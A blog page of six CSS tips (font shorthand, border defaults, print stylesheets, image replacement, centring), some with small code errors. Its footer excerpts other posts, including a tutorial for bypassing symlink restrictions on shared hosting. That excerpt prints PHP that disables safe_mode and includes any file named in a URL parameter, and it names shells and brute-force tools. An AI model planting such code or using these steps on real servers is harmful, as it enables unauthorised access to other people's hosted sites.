Skip to main content

6 Special CSS Tricks

Some CSS Tricks that you might have Missed:

1. Shorthand rule: Shorthand in CSS is very useful. It makes your code simpler and easier to edit. Moreover, it reduces the load on your server and makes downloads faster.<br />

<br />

This is what you would be doing now,<br />

<br />

<i>font-weight: bold;<br />

font-style: italic;<br />

font-variant: small-caps;<br />

font-size: 1em;<br />

line-height: 1.5em;<br />

font-family: verdana,sans-serif</i><br />

<br />

The shorthand is,<br />

<br />

<i>font: bold italic small-caps 1em/1.5em verdana,sans-serif</i><br />

<br />

2. Two classes together: There is no rule saying that attributes need to be assigned to a single class. You can assign as many classes as you want.<br />

<br />

<i><p class="text side">...</p></i><br />

<br />

3. CSS border default value: When putting down the border rule, the programmer usually specifies three things: colour, width and style. What many don’t know is that only the border style is required here and you can ignore the other two. So, you usually write, border: 3px solid #000, which gives you a solid black border that is 3px thick. Instead you can write border: solid and the default values for the border will automatically be used. <br />

<br />

The default width for a border is medium (3-4px) and the default colour is the same as the text colour that has been chosen within the border. <br />

<br />

4. CSS document for printing: You would have seen that many websites link to a print friendly page often. This though is not necessary. Instead, you can set up a second CSS document that will be used when the user wants to print a page. <br />

<br />

For this you page header will contain links to two CSS documents. First for the screen and second for printing.<br />

<br />

<i><link type="text/css" rel="stylesheet" href="stylesheet.css" media="screen" /><br />

<link type="text/css" rel="stylesheet" href="printstyle.css" media="print" /></i><br />

<br />

In this the first line is calling the CSS for the screen and the second is calling the CSS for the print version. Next you need to create a second CSS document and save it as <i>printstyle.css</i>. Your screen CSS command will be pointing to this document.<br />

<br />

<i><link type="text/css" rel="stylesheet" href="printstyle.css" media="screen" /></i><br />

<br />

After this you just need to keep entering commands until the screen on the display looks the way you want the printable version to look.<br />

<br />

5. Image replacement: Using HTML markup display text instead of an image allows downloads to be faster. In addition, it also has accessibility benefits. But there are times when you want a particular font, which is less likely to be present on all your user’s computers. In such cases an image is the only way out. <br />

<br />

To put an image, you use, <br />

<br />

<h1><img src="widget-image.gif" alt="XYZ" /></h1><br />

<br />

But search engines don’t assign the same importance to alt text as they do to real text. So what do you do then? Of course, there’s a simple solution,<br />

<br />

<h1>XYZ</h1><br />

<br />

But that means you’re compromising on the font that you want. Here’s how to fix that issue,<br />

<br />

<i>h1<br />

{<br />

background: url(widget-image.gif) no-repeat;<br />

height: image height<br />

text-indent: -2000px<br />

}</i><br />

<br />

In this you need to change the image height to the height of the image that is needed. This code though will cause accessibility issues. Users with images turned off won’t see the image.<br />

<br />

6. Centre aligning a block element: When you want your website to have a fixed width layout and the content floats in the middle of the screen, use the following command,

 <br  />

 <br />


<i>#content<br />

{<br />

width: 700px;<br />

margin: 0 auto<br />

}</i><br />

<br />

In the body of the HTML document enclose every item with <i><div id="content"></i>

Comments

Popular posts from this blog

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h...

How to Hack WhatsApp using just a GIF

A picture is worth a thousand words, but a GIF is worth a thousand pictures. Today, the short looping clips, GIFs are everywhere—on your social media, on your message boards, on your chats, helping users perfectly express their emotions, making people laugh, and reliving a highlight. But what if an innocent-looking GIF greeting with Good morning, Happy Birthday, or Merry Christmas message hacks your smartphone? Well, not a theoretical idea anymore. WhatsApp has recently patched a critical security vulnerability in its app for Android, which remained unpatched for at least 3 months after being discovered, and if exploited, could have allowed remote hackers to compromise Android devices and potentially steal files and chat messages. WhatsApp Remote Code Execution Vulnerability The vulnerability, tracked as  CVE-2019-11932 , is a double-free memory corruption bug that doesn't actually reside in the WhatsApp code itself, but in an open-source GIF image parsing library that What...

|Bypass Symlink on 2013 Server With Different .htaccess and Methods by Sen Haxor |

Hi, Guys,  Please a wonderfull tutorial provided bt Sem;\  Today I gonna Explain how to bypass Symlink on 2013 Server With Different .htaccess and Methods. So let's Get Started :) Note: This method is not applicable for Godaddy, Bluehost, Hostgator and Hostmonstor Servers. For This First You Need the Following Files : 1 -> Sen Haxor CGI Shell 2 -> sen.zip 3 -> passwd-bypass.php 4 -> Turbo Brute force Cpanel 5 - > Port.py First Before Starting to symlink we need to create php.ini and ini.php to Disable Safe mode and Disabled Functions on the server . Use the Following Code : Make a php.ini with the following code safe_mode=Off And ini.php with <? echo ini_get("safe_mode"); echo ini_get("open_basedir"); include($_GET["file"]); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo...